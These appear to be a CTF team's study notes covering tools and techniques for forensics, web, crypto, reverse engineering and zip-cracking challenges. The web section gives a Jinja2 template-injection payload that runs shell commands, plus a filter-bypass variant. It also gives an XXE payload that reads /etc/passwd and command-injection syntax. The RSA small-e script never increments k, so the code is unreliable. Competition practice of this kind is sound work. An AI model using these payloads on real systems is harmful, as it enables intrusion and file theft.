Flag Seekers CTF Note [Version MOCSCTF 2025]

Training Website & Materials

Website

• http://play.picoctf.org/
• http://ctf.bugku.com/
• https://adworld.xctf.org.cn/home/index

Material

• https://hello-ctf.com/home/

General -- Nathan & Liam

MOCSCTF{XXXXX} =(base64)> TU9DU0NURn{XXXXXXX}

Note that the upper content omits the effect of base64 on the flag content.

開啟檔案

開啟圖片 : eog [file name] (請自行下載)

開啟pdf : evince [file name] (請自行下載)

Forensic -- Nathan

圖片隱寫

綜合網站

(可能會出bug或連不上) : https://www.aperisolve.com/

查看圖片詳細信息, 源數據 : exiftool, identify(from ImageMagick)

命令 : exiftool [file name] , identify -v [file name]

流量分析

工具 : Wireshark

教程 : 上面提到的Hello CTF

工具 : Tshark

安裝指令 : sudo apt install tshark

tshark的一些command :

• -r [file name] : 選擇要分析的檔案
• -Y [xx] : 選擇要分析的協議類型, 如DNS, HTTPS

其他工具

手動調圖片大小 : TweakPNG

自動調圖片大小 : Deformed-Image-Restorer, command for crack original image width and hieght :

python [Deformed-Image-Restorer.py] -i [file name] , 其中要處理的圖片放在根目錄裡。

Python字節碼(.pyc)隱寫 : stegosaurus, extract data command :

python -m stegosaurus [file name] -x

記憶體隱寫 : Volatility

查看PDF詳細信息 : pdfinfo

安裝指令 : sudo apt install poppler-utils

使用指令 : pdfinfo [file name]

Web -- Liam

Some Renji called me to write this, so I do la.

Web Template Engine Test Payloads:

Note that Python > PHP > Java .

After knowing these, we can inject the templates now. For example, with Jinja2, we can execute Unix series terminal commands as follows: {{request.application.__globals__.__builtins__.__import__('os').popen("echo heheheha you are hacked!").read()}}

Note that we can use the pipe | character to work as a dot. character, which is able to bypass weak filters. For example, the upper command can translate into:

{{request|attr("application")|attr("__globals__")|attr("__builtins__")|attr("__import__")("os")|attr("popen")("echo heheheha you are hacked!")|attr("read")()}}

General Server Files (Just note it here in case we can’t use dirsearch.)

PHP Injection

Just take reference from my workbook la. Lazy.

XXE Injection.

The code is here. Don’t ask me why it works. I learnt it from the writeup:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE kamal [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data><ID>&xxe;</ID></data>

Unix Injection

In case you need to inject Unix series server:

`command` or $(command)

Incase there is filter:

{ls,/}

SQL Injection

Just take reference from my workbook la. Lazy.

SQL Constraint Attack

Just take reference from my workbook la. Lazy.

Crypto -- Nathan

編碼, 解密常用工具

1. 最常用的加解密, 編碼網站 : CyberChef
2. RSA Decrypt(可以正常解密或使用各種攻擊手法) : dcode.fr - RSA Cipher
3. Cipher Analyzer / Identifier : dcode - cipher identifier、Boxentriq - Cipher Identifier
4. 萬能解密，適合大量文字，利用頻率分析解密: quipqiup
5. 大數質因數分解, RSA常用工具 : factordb
6. MD5 hash暴力破解 : md5hashing.net
7. 零寬字元隱寫decode : Zero-Width Steganography Decoder
8. AI自動破解密碼 : Ciphey on GitHub

Ciphey安裝及使用教程

Step 1. 在docker安裝ciphey

docker run -it --rm remnux/ciphey

好了, 現在你可以透過 docker run --rm remnux/ciphey -t [encrypted text] 來使用ciphey了。

先別急著罵我, 你難道不覺得上面的命令好繁瑣好難記嗎🤔

這份教程的精華便是將命令縮短, 濃縮成github上演示那樣, 只需輸入ciphey -t [encrypted text] 。

原理大概就是創建一個小腳本script, 放在你的 PATH 環境變數包含的目錄中。當你輸入 ciphey 時，系統會找到這個腳本並執行它。腳本內部會呼叫 docker run 指令，並將你傳遞給 ciphey 的所有參數轉送給 Docker 容器內的 ciphey 指令。

Step 2. 創建目錄

放心 rm -rf *是不會刪除隱藏文件的(以 .開頭的便是)。

mkdir -p ~/.local/bin

Step 3. 建立腳本

vim ~/.local/bin/ciphey

Step 4. 輸入內容

按 i鍵, i for insert

#!/bin/bash
# 这是一个用于运行 Docker 容器中 ciphey 的包装脚本

# 检查 Docker 是否正在运行
if ! docker info > /dev/null 2>&1; then
    echo "错误：Docker Daemon 未运行。请启动 Docker。"
    exit 1
fi

# 运行 Docker 容器中的 ciphey
# --rm: 容器退出时自动删除
# -it: 启用交互模式和分配一个伪终端，这对于需要用户输入的程序至关重要
# -v "$(pwd):/mnt/host_cwd": 将宿主机的当前目录挂载到容器内部的 /mnt/host_cwd
# -w "/mnt/host_cwd": 设置容器的工作目录为 /mnt/host_cwd，以便 ciphey 能找到挂载的文件
# remnux/ciphey: 使用的 Docker 镜像
# ciphey: 容器内部要执行的命令
# "$@": 将所有传递给此脚本的参数原样传递给容器内部的 ciphey 命令
docker run --rm -it -v "$(pwd):/mnt/host_cwd" -w "/mnt/host_cwd" remnux/ciphey ciphey "$@"

最後按冒號 :, 輸入 wq , 按 enter 儲存檔案並離開。

RSA

• 明文 : m 即未加密前的原文plaintext, 公式 : m = c ^ d % n
• 密文 : c 加密後的ciphertext, 公式 : c = m ^ e % n
• 大質數1 : p
• 大質數2 : q
• 模數 : n , 公式 : n = p * q
• 歐拉函數 : phi(n) , 公式 : phi(n) = (p - 1) * (q - 1)
• 公鑰指數 : e , 通常為65537, 必須與 phi 互質
• 私鑰指數 : d , e 在模 phi 下的乘法逆元, 即 e * d % phi = 1 , 我們可以使用python gmpy2庫裡的invert求d, 語法 : invert(e, phi)

RSA small e attack

在RSA中，公鑰指數 e 通常選擇像 65537 這樣的值，主要為了提高加密和驗證簽名的計算效率。 而small e attack就是針對公鑰指數過少的情況而設計的攻擊, 我們知道c = m ^ e % n , 因此, 我們可以設定一個非負整數 k ,令 kn + c = m ^ e , 而得益於過少的 e, 我們便可以暴力枚舉 k,。針對每次的枚舉, 若果我們求得 kn + c 為完美的 e次方數, 那麼其 e次方根即為我們要求的明文 m。

Python範例程序如下 :

from gmpy2 import *
from Crypto.Util.number import long_to_bytes
c = int(input())
n = int(input())
e = int(input())

# c = m ^ e % n
# kn + c = m ^ e
k = 0
while True:
    m, check = iroot(k * n + c, e) # 求kn + c的e次方根, 第二個參數返回是否完美e次方根的布林值
    if check:
        break
flag = long_to_bytes(m).decode("utf-8")
print(flag)

Reverse -- Fong & Nathan

Exeinfo → 查看Exe的一些資訊, 如用了甚麼加殼

No section Header → 大機率被加殼

upx -d [file name] upx脫殼

MISC -- Nathan

Zip檔爆破

CRC攻擊 : ZipCracker

• 適用情景 : Zip檔裡的檔案內容數據量很少
• 指令 : python3 [ZipCracker.py] [xxx.zip]

John the ripper提取zip密碼hash : zip2john [xxx.zip] > hash.txt

hashcat爆破hash : 很長, 有多種攻擊方法, 自己問AI

hashcat分析hash類型 : hashcat --identify hash.txt

Zip爆破明文攻擊(已知某一存在於要爆攻的Zip檔裡的檔案內容) : bkcrack

Zip爆破(包含暴力攻擊, 字典攻擊, 明文攻擊等)萬能工具 : Advanced Archive Password Recovery